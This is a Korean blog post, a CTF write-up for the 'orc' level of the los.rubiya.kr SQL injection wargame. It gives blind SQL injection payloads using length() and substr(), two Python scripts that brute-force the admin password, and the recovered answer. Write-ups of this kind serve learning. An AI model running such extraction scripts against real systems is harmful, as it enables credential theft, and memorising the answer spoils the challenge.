본문 바로가기
CTF_/los.rubiya.kr

[los.rubiya.kr] orc #4

by 낭람_ 2018. 8. 20.
반응형

[orc]




아래쪽의 if문을 보니 실제 비밀번호를 알아야 문제가 풀리는것 같다.

우선 length와 substr함수를 이용해 blind sql injection을 하여 실제 비밀번호를 알 수 있을것 같다.

?pw=' or length(pw)=숫자 --%20 을 하여 비밀번호의 길이를 알 수 있다.

또한 ?pw=' or substr(pw,1,1)="문자" --%20 을 하면 비밀번호를 알 수 있다.

직접 하긴 복잡하니 python requests모듈을 이용해서 직접 비밀번호를 구해보자.


import requests

for admin_len in range(99) :
URL='http://los.rubiya.kr/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
query={'pw': '\' or length(pw)='+str(admin_len)+' -- '}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
print('len is '+str(admin_len))
break


위의 python을 실행시키면 길이는 8이라는 것을 알 수 있다. 


import requests

password=''
for admin_len in range(8) :
for admin_pass in range(ord('0'),ord('z')) :
URL='http://los.rubiya.kr/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
query={'pw': '\' or substr(pw,1,'+str(admin_len+1)+')=\''+password+chr(admin_pass)+'\' -- '}
headers = {'Content-Type': 'application/json; charset=utf-8'}
cookies = {'PHPSESSID': ''}
res=requests.get(URL, params=query, headers=headers, cookies=cookies)
if("Hello admin" in res.text):
password=password+chr(admin_pass)
print(password)
break


위의 python을 실행시키면 비밀번호는 '095a9852'라는 것을 알 수 있다.

?pw=095a9852를 입력하면 클리어!



반응형

'CTF_ > los.rubiya.kr' 카테고리의 다른 글

[los.rubiya.kr] darkelf #6  (0) 2018.08.24
[los.rubiya.kr] wolfman #5  (0) 2018.08.21
[los.rubiya.kr] goblin #3  (0) 2018.08.19
[los.rubiya.kr] cobolt #2  (0) 2018.08.18
[los.rubiya.kr] gremlin #1  (0) 2018.08.17

댓글